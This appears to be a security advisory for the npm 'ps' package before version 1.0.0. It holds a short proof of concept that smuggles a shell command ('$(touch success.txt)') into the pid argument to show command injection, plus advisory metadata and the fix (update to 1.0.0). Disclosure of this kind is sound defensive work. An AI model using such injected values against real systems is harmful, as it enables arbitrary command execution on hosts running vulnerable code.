Versions of ps before 1.0.0 are vulnerable to command injection.
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
Update to version 1.0.0 or later.
{
"github_reviewed_at": "2020-06-16T21:31:20Z",
"github_reviewed": true,
"severity": "CRITICAL",
"nvd_published_at": null,
"cwe_ids": [
"CWE-77",
"CWE-78"
]
}